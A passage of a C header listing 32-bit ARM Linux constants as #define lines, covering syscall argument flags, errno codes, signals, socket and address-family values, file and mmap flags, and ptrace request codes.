0 #define __ARGS_capget 0 #define __ARGS_capset 0 #define __ARGS_sigaltstack 0 #define __ARGS_sendfile 0 #define __ARGS_vfork 0 #define __ARGS_ugetrlimit 0 #define __ARGS_mmap2 1 #define __ARGS_truncate64 0 #define __ARGS_ftruncate64 0 #define __ARGS_stat64 0 #define __ARGS_lstat64 0 #define __ARGS_fstat64 0 #define __ARGS_lchown32 0 #define __ARGS_getuid32 0 #define __ARGS_getgid32 0 #define __ARGS_geteuid32 0 #define __ARGS_getegid32 0 #define __ARGS_setreuid32 0 #define __ARGS_setregid32 0 #define __ARGS_getgroups32 0 #define __ARGS_setgroups32 0 #define __ARGS_fchown32 0 #define __ARGS_setresuid32 0 #define __ARGS_getresuid32 0 #define __ARGS_setresgid32 0 #define __ARGS_getresgid32 0 #define __ARGS_chown32 0 #define __ARGS_setuid32 0 #define __ARGS_setgid32 0 #define __ARGS_setfsuid32 0 #define __ARGS_setfsgid32 0 #define __ARGS_getdents64 0 #define __ARGS_pivot_root 0 #define __ARGS_mincore 0 #define __ARGS_madvise 0 #define __ARGS_fcntl64 0 #define __ARGS_security 0 #define __ARGS_gettid 0 #define __ARGS_readahead 0 #define __ARGS_setxattr 1 #define __ARGS_lsetxattr 1 #define __ARGS_fsetxattr 1 #define __ARGS_getxattr 0 #define __ARGS_lgetxattr 0 #define __ARGS_fgetxattr 0 #define __ARGS_listxattr 0 #define __ARGS_llistxattr 0 #define __ARGS_flistxattr 0 #define __ARGS_removexattr 0 #define __ARGS_lremovexattr 0 #define __ARGS_fremovexattr 0 #define __ARGS_tkill 0 #define __ARGS_sendfile64 0 #define __ARGS_futex 0 #define __ARGS_sched_setaffinity 0 #define __ARGS_sched_getaffinity 0 #define __ARGS_io_setup 0 #define __ARGS_io_destroy 0 #define __ARGS_io_getevents 0 #define __ARGS_io_submit 0 #define __ARGS_io_cancel 0 #define __ARGS_exit_group 0 #define __ARGS_lookup_dcookie 0 #define __ARGS_epoll_create 0 #define __ARGS_epoll_ctl 0 #define __ARGS_epoll_wait 0 #define __ARGS_remap_file_pages 0 #define __ARGS_set_thread_area 0 #define __ARGS_get_thread_area 0 #define __ARGS_set_tid_address 0 #define __ARGS_timer_create 0 #define __ARGS_timer_settime 0 #define __ARGS_timer_gettime 0 #define __ARGS_timer_getoverrun 0 #define __ARGS_timer_delete 0 #define __ARGS_clock_settime 0 #define __ARGS_clock_gettime 0 #define __ARGS_clock_getres 0 #define __ARGS_clock_nanosleep 0 #define __ARGS_statfs64 0 #define __ARGS_fstatfs64 0 #define __ARGS_tgkill 0 #define __ARGS_utimes 0 #define __ARGS_arm_fadvise64_64 1 #define __ARGS_fadvise64 0 #define __ARGS_fadvise64_64 0 #define __ARGS_pciconfig_iobase 0 #define __ARGS_pciconfig_read 1 #define __ARGS_pciconfig_write 1 #define __ARGS_mq_open 0 #define __ARGS_mq_unlink 0 #define __ARGS_mq_timedsend 0 #define __ARGS_mq_timedreceive 1 #define __ARGS_mq_notify 0 #define __ARGS_mq_getsetattr 0 #define __ARGS_waitid 0 #define __ARGS_socket 0 #define __ARGS_bind 0 #define __ARGS_connect 0 #define __ARGS_listen 0 #define __ARGS_accept 0 #define __ARGS_getsockname 0 #define __ARGS_getpeername 0 #define __ARGS_socketpair 0 #define __ARGS_send 0 #define __ARGS_sendto 1 #define __ARGS_recv 0 #define __ARGS_recvfrom 1 #define __ARGS_shutdown 0 #define __ARGS_setsockopt 0 #define __ARGS_getsockopt 0 #define __ARGS_sendmsg 0 #define __ARGS_recvmsg 0 #define __ARGS_semop 0 #define __ARGS_semget 0 #define __ARGS_semctl 0 #define __ARGS_msgsnd 0 #define __ARGS_msgrcv 0 #define __ARGS_msgget 0 #define __ARGS_msgctl 0 #define __ARGS_shmat 0 #define __ARGS_shmdt 0 #define __ARGS_shmget 0 #define __ARGS_shmctl 0 #define __ARGS_add_key 1 #define __ARGS_request_key 1 #define __ARGS_keyctl 0 #define __ARGS_vserver 0 #define __ARGS_ioprio_set 0 #define __ARGS_ioprio_get 0 #define __ARGS_inotify_init 0 #define __ARGS_inotify_add_watch 0 #define __ARGS_inotify_rm_watch 0 #define __ARGS_mbind 1 #define __ARGS_get_mempolicy 1 #define __ARGS_set_mempolicy 1 #define __ARGS_openat 0 #define __ARGS_mkdirat 0 #define __ARGS_mknodat 0 #define __ARGS_fchownat 1 #define __ARGS_futimesat 0 #define __ARGS_fstatat64 0 #define __ARGS_unlinkat 0 #define __ARGS_renameat 0 #define __ARGS_linkat 1 #define __ARGS_symlinkat 0 #define __ARGS_readlinkat 0 #define __ARGS_fchmodat 0 #define __ARGS_faccessat 0 #define __ARGS_unshare 0 #define __ARGS_set_robust_list 0 #define __ARGS_get_robust_list 0 #define __ARGS_splice 1 #define __ARGS_arm_sync_file_range 0 #define __ARGS_sync_file_range2 0 #define __ARGS_tee 0 #define __ARGS_vmsplice 0 #define __ARGS_move_pages 1 #define __ARGS_getcpu 0 #define __ARGS_kexec_load 0 #define __ARGS_utimensat 0 #define __ARGS_signalfd 0 #define __ARGS_timerfd 0 #define __ARGS_eventfd 0 #define __ARGS_fallocate 0 #define __ARGS_timerfd_settime 0 #define __ARGS_timerfd_gettime 0 #define __ARGS_signalfd4 0 #define __ARGS_eventfd2 0 #define __ARGS_epoll_create1 0 #define __ARGS_dup3 0 #define __ARGS_pipe2 0 #define __ARGS_inotify_init1 0 #define __ARGS_preadv 0 #define __ARGS_pwritev 0 #define __ARGS_rt_tgsigqueueinfo 0 #define __ARGS_perf_event_open 1 #define __ARGS_recvmmsg 1 #define __ARGS_accept4 0 #define __ARGS_fanotify_init 0 #define __ARGS_fanotify_mark 1 #define __ARGS_prlimit64 0 #define __ARGS_name_to_handle_at 1 #define __ARGS_open_by_handle_at 0 #define __ARGS_clock_adjtime 0 #define __ARGS_syncfs 0 #define __ARGS_sendmmsg 0 #define __ARGS_setns 0 #define __ARGS_process_vm_readv 1 #define __ARGS_process_vm_writev 1 #define __ARGS_kcmp 1 #define __ARGS_finit_module 0 #define MAP_32BIT 0x40 #define INADDR_ANY 0 #define INADDR_BROADCAST 0xffffffff #define INADDR_NONE 0xffffffff #define INADDR_LOOPBACK 0x7f000001 #define EPERM 1 #define ENOENT 2 #define ESRCH 3 #define EINTR 4 #define EIO 5 #define ENXIO 6 #define E2BIG 7 #define ENOEXEC 8 #define EBADF 9 #define ECHILD 10 #define EAGAIN 11 #define ENOMEM 12 #define EACCES 13 #define EFAULT 14 #define ENOTBLK 15 #define EBUSY 16 #define EEXIST 17 #define EXDEV 18 #define ENODEV 19 #define ENOTDIR 20 #define EISDIR 21 #define EINVAL 22 #define ENFILE 23 #define EMFILE 24 #define ENOTTY 25 #define ETXTBSY 26 #define EFBIG 27 #define ENOSPC 28 #define ESPIPE 29 #define EROFS 30 #define EMLINK 31 #define EPIPE 32 #define EDOM 33 #define ERANGE 34 #define EDEADLK 35 #define ENAMETOOLONG 36 #define ENOLCK 37 #define ENOSYS 38 #define ENOTEMPTY 39 #define ELOOP 40 #define EWOULDBLOCK 11 #define ENOMSG 42 #define EIDRM 43 #define ECHRNG 44 #define EL2NSYNC 45 #define EL3HLT 46 #define EL3RST 47 #define ELNRNG 48 #define EUNATCH 49 #define ENOCSI 50 #define EL2HLT 51 #define EBADE 52 #define EBADR 53 #define EXFULL 54 #define ENOANO 55 #define EBADRQC 56 #define EBADSLT 57 #define EDEADLOCK 35 #define EBFONT 59 #define ENOSTR 60 #define ENODATA 61 #define ETIME 62 #define ENOSR 63 #define ENONET 64 #define ENOPKG 65 #define EREMOTE 66 #define ENOLINK 67 #define EADV 68 #define ESRMNT 69 #define ECOMM 70 #define EPROTO 71 #define EMULTIHOP 72 #define EDOTDOT 73 #define EBADMSG 74 #define EOVERFLOW 75 #define ENOTUNIQ 76 #define EBADFD 77 #define EREMCHG 78 #define ELIBACC 79 #define ELIBBAD 80 #define ELIBSCN 81 #define ELIBMAX 82 #define ELIBEXEC 83 #define EILSEQ 84 #define ERESTART 85 #define ESTRPIPE 86 #define EUSERS 87 #define ENOTSOCK 88 #define EDESTADDRREQ 89 #define EMSGSIZE 90 #define EPROTOTYPE 91 #define ENOPROTOOPT 92 #define EPROTONOSUPPORT 93 #define ESOCKTNOSUPPORT 94 #define EOPNOTSUPP 95 #define ENOTSUP 95 #define EPFNOSUPPORT 96 #define EAFNOSUPPORT 97 #define EADDRINUSE 98 #define EADDRNOTAVAIL 99 #define ENETDOWN 100 #define ENETUNREACH 101 #define ENETRESET 102 #define ECONNABORTED 103 #define ECONNRESET 104 #define ENOBUFS 105 #define EISCONN 106 #define ENOTCONN 107 #define ESHUTDOWN 108 #define ETOOMANYREFS 109 #define ETIMEDOUT 110 #define ECONNREFUSED 111 #define EHOSTDOWN 112 #define EHOSTUNREACH 113 #define EALREADY 114 #define EINPROGRESS 115 #define ESTALE 116 #define EUCLEAN 117 #define ENOTNAM 118 #define ENAVAIL 119 #define EISNAM 120 #define EREMOTEIO 121 #define EDQUOT 122 #define ENOMEDIUM 123 #define EMEDIUMTYPE 124 #define ECANCELED 125 #define ENOKEY 126 #define EKEYEXPIRED 127 #define EKEYREVOKED 128 #define EKEYREJECTED 129 #define EOWNERDEAD 130 #define ENOTRECOVERABLE 131 #define ERFKILL 132 #define EHWPOISON 133 #define __SYS_NERR ((133) + 1) #define __LITTLE_ENDIAN 1234 #define __BIG_ENDIAN 4321 #define __BYTE_ORDER 1234 #define __FLOAT_WORD_ORDER 1234 #define LITTLE_ENDIAN 1234 #define BIG_ENDIAN 4321 #define BYTE_ORDER 1234 #define __WORDSIZE 32 #define INT8_MAX (127) #define INT16_MAX (32767) #define INT32_MAX (2147483647) #define INT64_MAX (9223372036854775807) #define INT8_MIN (-1 - (127)) #define INT16_MIN (-1 - (32767)) #define INT32_MIN (-1 - (2147483647)) #define INT64_MIN (-1 - (9223372036854775807)) #define INT_LEAST8_MAX (127) #define INT_LEAST8_MIN (-1 - (127)) #define INT_LEAST16_MAX (32767) #define INT_LEAST16_MIN (-1 - (32767)) #define INT_LEAST32_MAX (2147483647) #define INT_LEAST32_MIN (-1 - (2147483647)) #define INT_LEAST64_MAX (9223372036854775807) #define INT_LEAST64_MIN (-1 - (9223372036854775807)) #define UINT8_MAX 0xff #define UINT16_MAX 0xffff #define UINT32_MAX 0xffffffff #define UINT64_MAX 0xffffffffffffffff #define UINT_LEAST8_MAX 0xff #define UINT_LEAST16_MAX 0xffff #define UINT_LEAST32_MAX 0xffffffff #define UINT_LEAST64_MAX 0xffffffffffffffff #define INTPTR_MIN (-1 - (2147483647)) #define INTPTR_MAX (2147483647) #define UINTPTR_MAX 0xffffffff #define SIZE_MAX 0xffffffff #define PTRDIFF_MIN (-1 - (2147483647)) #define PTRDIFF_MAX (2147483647) #define INTMAX_MIN (-1 - (9223372036854775807)) #define INTMAX_MAX (9223372036854775807) #define UINTMAX_MAX 0xffffffffffffffff #define INT_FAST8_MIN (-1 - (127)) #define INT_FAST8_MAX (127) #define INT_FAST64_MIN (-1 - (9223372036854775807)) #define INT_FAST64_MAX (9223372036854775807) #define UINT_FAST8_MAX 0xff #define UINT_FAST64_MAX 0xffffffffffffffff #define INT_FAST16_MIN (-1 - (2147483647)) #define INT_FAST16_MAX (2147483647) #define UINT_FAST16_MAX 0xffffffff #define INT_FAST32_MIN (-1 - (2147483647)) #define INT_FAST32_MAX (2147483647) #define UINT_FAST32_MAX 0xffffffff #define WINT_MIN 0 #define __FSUID_H 1 #define NSIG 32 #define _NSIG 65 #define SIGHUP 1 #define SIGINT 2 #define SIGQUIT 3 #define SIGILL 4 #define SIGTRAP 5 #define SIGABRT 6 #define SIGIOT 6 #define SIGFPE 8 #define SIGKILL 9 #define SIGSEGV 11 #define SIGPIPE 13 #define SIGALRM 14 #define SIGTERM 15 #define SIGUNUSED 31 #define SIGBUS 7 #define SIGUSR1 10 #define SIGUSR2 12 #define SIGSTKFLT 16 #define SIGCHLD 17 #define SIGCONT 18 #define SIGSTOP 19 #define SIGTSTP 20 #define SIGTTIN 21 #define SIGTTOU 22 #define SIGURG 23 #define SIGXCPU 24 #define SIGXFSZ 25 #define SIGVTALRM 26 #define SIGPROF 27 #define SIGWINCH 28 #define SIGIO 29 #define SIGPWR 30 #define SIGSYS 31 #define SIGCLD 17 #define SIGPOLL 29 #define SIGLOST 30 #define SIGRTMIN 32 #define SIGRTMAX (65-1) #define SA_NOCLDSTOP 0x00000001 #define SA_NOCLDWAIT 0x00000002 #define SA_SIGINFO 0x00000004 #define SA_THIRTYTWO 0x02000000 #define SA_RESTORER 0x04000000 #define SA_ONSTACK 0x08000000 #define SA_RESTART 0x10000000 #define SA_INTERRUPT 0x20000000 #define SA_NODEFER 0x40000000 #define SA_RESETHAND 0x80000000 #define SA_NOMASK 0x40000000 #define SA_ONESHOT 0x80000000 #define SS_ONSTACK 1 #define SS_DISABLE 2 #define MINSIGSTKSZ 2048 #define SIGSTKSZ 8192 #define SIG_BLOCK 0 #define SIG_UNBLOCK 1 #define SIG_SETMASK 2 #define SI_MAX_SIZE 128 #define SIGEV_SIGNAL 0 #define SIGEV_NONE 1 #define SIGEV_THREAD 2 #define SIGEV_THREAD_ID 4 #define SIGEV_MAX_SIZE 64 #define _SYS_TIME_H 1 #define ITIMER_REAL 0 #define ITIMER_VIRTUAL 1 #define ITIMER_PROF 2 #define FD_SETSIZE 1024 #define R_OK 4 #define W_OK 2 #define X_OK 1 #define F_OK 0 #define SEEK_SET 0 #define SEEK_CUR 1 #define SEEK_END 2 #define STDIN_FILENO 0 #define STDOUT_FILENO 1 #define STDERR_FILENO 2 #define _CS_PATH 1 #define _SC_CLK_TCK 1 #define _SC_ARG_MAX 2 #define _SC_NGROUPS_MAX 3 #define _SC_OPEN_MAX 4 #define _SC_PAGESIZE 5 #define _SC_NPROCESSORS_ONLN 6 #define _SC_NPROCESSORS_CONF 6 #define _SC_PHYS_PAGES 7 #define _SC_GETPW_R_SIZE_MAX 8 #define _SC_GETGR_R_SIZE_MAX 9 #define _PC_PATH_MAX 1 #define _PC_VDISABLE 2 #define L_cuserid 17 #define _POSIX_VERSION 199506 #define F_ULOCK 0 #define F_LOCK 1 #define F_TLOCK 2 #define F_TEST 3 #define _POSIX_MAPPED_FILES 200809 #define STAT64_HAS_BROKEN_ST_INO 1 #define S_IFMT 0xf000 #define S_IFSOCK 0xc000 #define S_IFLNK 0xa000 #define S_IFREG 0x8000 #define S_IFBLK 0x6000 #define S_IFDIR 0x4000 #define S_IFCHR 0x2000 #define S_IFIFO 0x1000 #define S_ISUID 0x800 #define S_ISGID 0x400 #define S_ISVTX 0x200 #define S_IRWXU 0x1c0 #define S_IRUSR 0x100 #define S_IWUSR 0x80 #define S_IXUSR 0x40 #define S_IRWXG 0x38 #define S_IRGRP 0x20 #define S_IWGRP 0x10 #define S_IXGRP 0x8 #define S_IRWXO 0x7 #define S_IROTH 0x4 #define S_IWOTH 0x2 #define S_IXOTH 0x1 #define S_IREAD 0x100 #define S_IWRITE 0x80 #define S_IEXEC 0x40 #define _SYS_UIO 1 #define SOL_SOCKET 1 #define SO_DEBUG 1 #define SO_REUSEADDR 2 #define SO_TYPE 3 #define SO_ERROR 4 #define SO_DONTROUTE 5 #define SO_BROADCAST 6 #define SO_SNDBUF 7 #define SO_RCVBUF 8 #define SO_KEEPALIVE 9 #define SO_OOBINLINE 10 #define SO_NO_CHECK 11 #define SO_PRIORITY 12 #define SO_LINGER 13 #define SO_BSDCOMPAT 14 #define SO_REUSEPORT 15 #define SO_PASSCRED 16 #define SO_PEERCRED 17 #define SO_RCVLOWAT 18 #define SO_SNDLOWAT 19 #define SO_RCVTIMEO 20 #define SO_SNDTIMEO 21 #define SO_SECURITY_AUTHENTICATION 22 #define SO_SECURITY_ENCRYPTION_TRANSPORT 23 #define SO_SECURITY_ENCRYPTION_NETWORK 24 #define SO_BINDTODEVICE 25 #define SO_ATTACH_FILTER 26 #define SO_DETACH_FILTER 27 #define SO_GET_FILTER 26 #define SO_PEERNAME 28 #define SO_TIMESTAMP 29 #define SCM_TIMESTAMP 29 #define SO_ACCEPTCONN 30 #define SO_PEERSEC 31 #define SO_SNDBUFFORCE 32 #define SO_RCVBUFFORCE 33 #define SO_PASSSEC 34 #define SO_TIMESTAMPNS 35 #define SCM_TIMESTAMPNS 35 #define SO_MARK 36 #define SO_TIMESTAMPING 37 #define SCM_TIMESTAMPING 37 #define SO_PROTOCOL 38 #define SO_DOMAIN 39 #define SO_RXQ_OVFL 40 #define SO_WIFI_STATUS 41 #define SCM_WIFI_STATUS 41 #define SO_PEEK_OFF 42 #define SO_NOFCS 43 #define SO_LOCK_FILTER 44 #define SO_SELECT_ERR_QUEUE 45 #define SO_BUSY_POLL 46 #define SO_MAX_PACING_RATE 47 #define SO_BPF_EXTENSIONS 48 #define SO_INCOMING_CPU 49 #define SO_ATTACH_BPF 50 #define SO_DETACH_BPF 27 #define SO_ATTACH_REUSEPORT_CBPF 51 #define SO_ATTACH_REUSEPORT_EBPF 52 #define SO_CNX_ADVICE 53 #define SCM_TIMESTAMPING_OPT_STATS 54 #define SO_MEMINFO 55 #define SO_INCOMING_NAPI_ID 56 #define SO_COOKIE 57 #define SCM_TIMESTAMPING_PKTINFO 58 #define SO_PEERGROUPS 59 #define SO_ZEROCOPY 60 #define SOCK_STREAM 1 #define SOCK_DGRAM 2 #define SOCK_RAW 3 #define SOCK_RDM 4 #define SOCK_SEQPACKET 5 #define SOCK_DCCP 6 #define SOCK_PACKET 10 #define UIO_FASTIOV 8 #define UIO_MAXIOV 1024 #define SCM_RIGHTS 0x01 #define SCM_CREDENTIALS 0x02 #define SCM_CONNECT 0x03 #define AF_UNSPEC 0 #define AF_UNIX 1 #define AF_LOCAL 1 #define AF_INET 2 #define AF_AX25 3 #define AF_IPX 4 #define AF_APPLETALK 5 #define AF_NETROM 6 #define AF_BRIDGE 7 #define AF_ATMPVC 8 #define AF_X25 9 #define AF_INET6 10 #define AF_ROSE 11 #define AF_DECnet 12 #define AF_NETBEUI 13 #define AF_SECURITY 14 #define AF_KEY 15 #define AF_NETLINK 16 #define AF_ROUTE 16 #define AF_PACKET 17 #define AF_ASH 18 #define AF_ECONET 19 #define AF_ATMSVC 20 #define AF_SNA 22 #define AF_IRDA 23 #define AF_PPPOX 24 #define AF_WANPIPE 25 #define AF_LLC 26 #define AF_IB 27 #define AF_MPLS 28 #define AF_CAN 29 #define AF_TIPC 30 #define AF_BLUETOOTH 31 #define AF_IUCV 32 #define AF_RXRPC 33 #define AF_ISDN 34 #define AF_PHONET 35 #define AF_IEEE802154 36 #define AF_CAIF 37 #define AF_ALG 38 #define AF_NFC 39 #define AF_VSOCK 40 #define AF_KCM 41 #define AF_QIPCRTR 42 #define AF_SMC 43 #define AF_MAX 44 #define PF_UNSPEC 0 #define PF_UNIX 1 #define PF_LOCAL 1 #define PF_INET 2 #define PF_AX25 3 #define PF_IPX 4 #define PF_APPLETALK 5 #define PF_NETROM 6 #define PF_BRIDGE 7 #define PF_ATMPVC 8 #define PF_X25 9 #define PF_INET6 10 #define PF_ROSE 11 #define PF_DECnet 12 #define PF_NETBEUI 13 #define PF_SECURITY 14 #define PF_KEY 15 #define PF_NETLINK 16 #define PF_ROUTE 16 #define PF_PACKET 17 #define PF_ASH 18 #define PF_ECONET 19 #define PF_ATMSVC 20 #define PF_SNA 22 #define PF_IRDA 23 #define PF_PPPOX 24 #define PF_WANPIPE 25 #define PF_LLC 26 #define PF_IB 27 #define PF_MPLS 28 #define PF_CAN 29 #define PF_TIPC 30 #define PF_BLUETOOTH 31 #define PF_IUCV 32 #define PF_RXRPC 33 #define PF_ISDN 34 #define PF_PHONET 35 #define PF_IEEE802154 36 #define PF_CAIF 37 #define PF_ALG 38 #define PF_NFC 39 #define PF_VSOCK 40 #define PF_KCM 41 #define PF_QIPCRTR 42 #define PF_SMC 43 #define PF_MAX 44 #define SOMAXCONN 128 #define MSG_OOB 1 #define MSG_PEEK 2 #define MSG_DONTROUTE 4 #define MSG_TRYHARD 4 #define MSG_CTRUNC 8 #define MSG_PROBE 0x10 #define MSG_TRUNC 0x20 #define MSG_DONTWAIT 0x40 #define MSG_EOR 0x80 #define MSG_WAITALL 0x100 #define MSG_FIN 0x200 #define MSG_SYN 0x400 #define MSG_CONFIRM 0x800 #define MSG_RST 0x1000 #define MSG_ERRQUEUE 0x2000 #define MSG_NOSIGNAL 0x4000 #define MSG_MORE 0x8000 #define MSG_WAITFORONE 0x10000 #define MSG_SENDPAGE_NOTLAST 0x20000 #define MSG_BATCH 0x40000 #define MSG_EOF 0x200 #define MSG_ZEROCOPY 0x4000000 #define MSG_FASTOPEN 0x20000000 #define MSG_CMSG_CLOEXEC 0x40000000 #define SOL_IP 0 #define SOL_TCP 6 #define SOL_UDP 17 #define SOL_IPV6 41 #define SOL_ICMPV6 58 #define SOL_SCTP 132 #define SOL_UDPLITE 136 #define SOL_RAW 255 #define SOL_IPX 256 #define SOL_AX25 257 #define SOL_ATALK 258 #define SOL_NETROM 259 #define SOL_ROSE 260 #define SOL_DECNET 261 #define SOL_X25 262 #define SOL_PACKET 263 #define SOL_ATM 264 #define SOL_AAL 265 #define SOL_IRDA 266 #define SOL_NETBEUI 267 #define SOL_LLC 268 #define SOL_DCCP 269 #define SOL_NETLINK 270 #define SOL_TIPC 271 #define SOL_RXRPC 272 #define SOL_PPPOL2TP 273 #define SOL_BLUETOOTH 274 #define SOL_PNPIPE 275 #define SOL_RDS 276 #define SOL_IUCV 277 #define SOL_CAIF 278 #define SOL_ALG 279 #define SOL_NFC 280 #define SOL_KCM 281 #define SOL_TLS 282 #define IPX_TYPE 1 #define SHUT_RD 0 #define SHUT_WR 1 #define SHUT_RDWR 2 #define NI_NOFQDN 1 #define NI_NUMERICHOST 2 #define NI_NAMEREQD 4 #define NI_NUMERICSERV 8 #define NI_DGRAM 16 #define EAI_FAMILY -1 #define EAI_SOCKTYPE -2 #define EAI_BADFLAGS -3 #define EAI_NONAME -4 #define EAI_SERVICE -5 #define EAI_ADDRFAMILY -6 #define EAI_NODATA -7 #define EAI_MEMORY -8 #define EAI_FAIL -9 #define EAI_AGAIN -10 #define EAI_SYSTEM -11 #define AI_NUMERICHOST 1 #define AI_CANONNAME 2 #define AI_PASSIVE 4 #define AI_NUMERICSERV 8 #define AI_ADDRCONFIG 16 #define AI_V4MAPPED 32 #define AI_ALL 64 #define SIOCADDRT 0x890B #define SIOCDELRT 0x890C #define SIOCRTMSG 0x890D #define SIOCGIFNAME 0x8910 #define SIOCSIFLINK 0x8911 #define SIOCGIFCONF 0x8912 #define SIOCGIFFLAGS 0x8913 #define SIOCSIFFLAGS 0x8914 #define SIOCGIFADDR 0x8915 #define SIOCSIFADDR 0x8916 #define SIOCGIFDSTADDR 0x8917 #define SIOCSIFDSTADDR 0x8918 #define SIOCGIFBRDADDR 0x8919 #define SIOCSIFBRDADDR 0x891a #define SIOCGIFNETMASK 0x891b #define SIOCSIFNETMASK 0x891c #define SIOCGIFMETRIC 0x891d #define SIOCSIFMETRIC 0x891e #define SIOCGIFMEM 0x891f #define SIOCSIFMEM 0x8920 #define SIOCGIFMTU 0x8921 #define SIOCSIFMTU 0x8922 #define SIOCSIFNAME 0x8923 #define SIOCSIFHWADDR 0x8924 #define SIOCGIFENCAP 0x8925 #define SIOCSIFENCAP 0x8926 #define SIOCGIFHWADDR 0x8927 #define SIOCGIFSLAVE 0x8929 #define SIOCSIFSLAVE 0x8930 #define SIOCADDMULTI 0x8931 #define SIOCDELMULTI 0x8932 #define SIOCGIFINDEX 0x8933 #define SIOGIFINDEX 0x8933 #define SIOCSIFPFLAGS 0x8934 #define SIOCGIFPFLAGS 0x8935 #define SIOCDIFADDR 0x8936 #define SIOCSIFHWBROADCAST 0x8937 #define SIOCGIFCOUNT 0x8938 #define SIOCGIFBR 0x8940 #define SIOCSIFBR 0x8941 #define SIOCGIFTXQLEN 0x8942 #define SIOCSIFTXQLEN 0x8943 #define SIOCGIFDIVERT 0x8944 #define SIOCSIFDIVERT 0x8945 #define SIOCETHTOOL 0x8946 #define SIOCDARP 0x8953 #define SIOCGARP 0x8954 #define SIOCSARP 0x8955 #define SIOCDRARP 0x8960 #define SIOCGRARP 0x8961 #define SIOCSRARP 0x8962 #define SIOCGIFMAP 0x8970 #define SIOCSIFMAP 0x8971 #define SIOCADDDLCI 0x8980 #define SIOCDELDLCI 0x8981 #define SIOCDEVPRIVATE 0x89F0 #define F_LINUX_SPECIFIC_BASE 1024 #define O_ACCMODE 0x3 #define O_RDONLY 0x0 #define O_WRONLY 0x1 #define O_RDWR 0x2 #define O_CREAT 0x40 #define O_EXCL 0x80 #define O_NOCTTY 0x100 #define O_TRUNC 0x200 #define O_APPEND 0x400 #define O_NONBLOCK 0x800 #define O_NDELAY 0x800 #define O_DSYNC 0x1000 #define FASYNC 0x2000 #define O_DIRECTORY 0x4000 #define O_NOFOLLOW 0x8000 #define O_DIRECT 0x10000 #define O_LARGEFILE 0x20000 #define O_NOATIME 0x40000 #define O_CLOEXEC 0x80000 #define O_SYNC 0x101000 #define O_PATH 0x200000 #define __O_TMPFILE 0x400000 #define F_DUPFD 0 #define F_GETFD 1 #define F_SETFD 2 #define F_GETFL 3 #define F_SETFL 4 #define F_GETLK 5 #define F_SETLK 6 #define F_SETLKW 7 #define F_SETOWN 8 #define F_GETOWN 9 #define F_SETSIG 10 #define F_GETSIG 11 #define F_GETLK64 12 #define F_SETLK64 13 #define F_SETLKW64 14 #define FD_CLOEXEC 1 #define F_RDLCK 0 #define F_WRLCK 1 #define F_UNLCK 2 #define F_EXLCK 4 #define F_SHLCK 8 #define F_INPROGRESS 16 #define LOCK_SH 1 #define LOCK_EX 2 #define LOCK_NB 4 #define LOCK_UN 8 #define LOCK_MAND 32 #define LOCK_READ 64 #define LOCK_WRITE 128 #define LOCK_RW 192 #define O_TMPFILE 0x404000 #define O_ASYNC 0x2000 #define F_SETOWN_EX 15 #define F_GETOWN_EX 16 #define F_GETOWNER_UIDS 17 #define F_OFD_GETLK 36 #define F_OFD_SETLK 37 #define F_OFD_SETLKW 38 #define F_OWNER_TID 0 #define F_OWNER_PID 1 #define F_OWNER_PGRP 2 #define AT_FDCWD -100 #define AT_SYMLINK_NOFOLLOW 0x100 #define AT_REMOVEDIR 0x200 #define AT_SYMLINK_FOLLOW 0x400 #define AT_NO_AUTOMOUNT 0x800 #define AT_EMPTY_PATH 0x1000 #define AT_EACCESS 0x200 #define MREMAP_MAYMOVE 1 #define MREMAP_FIXED 2 #define PROT_READ 0x1 #define PROT_WRITE 0x2 #define PROT_EXEC 0x4 #define PROT_SEM 0x8 #define PROT_NONE 0x0 #define PROT_GROWSDOWN 0x01000000 #define PROT_GROWSUP 0x02000000 #define MAP_SHARED 0x01 #define MAP_PRIVATE 0x02 #define MAP_TYPE 0xf #define MADV_REMOVE 9 #define MADV_DONTFORK 10 #define MADV_DOFORK 11 #define MADV_MERGEABLE 12 #define MADV_UNMERGEABLE 13 #define MADV_HUGEPAGE 14 #define MADV_NOHUGEPAGE 15 #define MADV_DONTDUMP 16 #define MADV_DODUMP 17 #define MADV_HWPOISON 100 #define MADV_SOFT_OFFLINE 101 #define MLOCK_ONFAULT 1 #define MAP_FIXED 0x10 #define MAP_ANONYMOUS 0x20 #define MAP_GROWSDOWN 0x0100 #define MAP_DENYWRITE 0x0800 #define MAP_EXECUTABLE 0x1000 #define MAP_LOCKED 0x2000 #define MAP_NORESERVE 0x4000 #define MAP_POPULATE 0x8000 #define MAP_NONBLOCK 0x10000 #define MAP_STACK 0x20000 #define MAP_HUGETLB 0x40000 #define MS_ASYNC 1 #define MS_INVALIDATE 2 #define MS_SYNC 4 #define MCL_CURRENT 1 #define MCL_FUTURE 2 #define MCL_ONFAULT 4 #define MADV_NORMAL 0x0 #define MADV_RANDOM 0x1 #define MADV_SEQUENTIAL 0x2 #define MADV_WILLNEED 0x3 #define MADV_DONTNEED 0x4 #define MAP_ANON 0x20 #define MAP_FILE 0 #define POSIX_MADV_NORMAL 0x0 #define POSIX_MADV_SEQUENTIAL 0x2 #define POSIX_MADV_RANDOM 0x1 #define POSIX_MADV_WILLNEED 0x3 #define POSIX_MADV_DONTNEED 0x4 #define PTRACE_TRACEME 0 #define PTRACE_PEEKTEXT 1 #define PTRACE_PEEKDATA 2 #define PTRACE_PEEKUSR 3 #define PTRACE_PEEKUSER 3 #define PTRACE_POKETEXT 4 #define PTRACE_POKEDATA 5 #define PTRACE_POKEUSR 6 #define PTRACE_POKEUSER 6 #define PTRACE_CONT 7 #define PTRACE_KILL 8 #define PTRACE_SINGLESTEP 9 #define PTRACE_ATTACH 0x10 #define PTRACE_DETACH 0x11 #define PTRACE_SYSCALL 24 #define PTRACE_GETEVENTMSG 0x4201 #define PTRACE_GETSIGINFO 0x4202 #define PTRACE_SETSIGINFO 0x4203 #define PTRACE_O_TRACESYSGOOD 0x00000001 #define PTRACE_O_TRACEFORK 0x00000002 #define PTRACE_O_TRACEVFORK 0x00000004 #define PTRACE_O_TRACECLONE 0x00000008 #define PTRACE_O_TRACEEXEC 0x00000010 #define PTRACE_O_TRACEVFORKDONE 0x00000020 #define PTRACE_O_TRACEEXIT 0x00000040 #define PTRACE_O_MASK 0x0000007f #define PTRACE_EVENT_FORK 1 #define PTRACE_EVENT_VFORK 2 #define PTRACE_EVENT_CLONE 3 #define PTRACE_EVENT_EXEC 4 #define PTRACE_EVENT_VFORK_DONE 5 #define PTRACE_EVENT_EXIT 6 #define PT_TRACE_ME 0 #define PT_READ_I 1 #define PT_READ_D 2 #define PT_READ_U 3 #define PT_WRITE_I 4 #define PT_WRITE_D 5 #define PT_WRITE_U 6 #define PT_CONTINUE 7 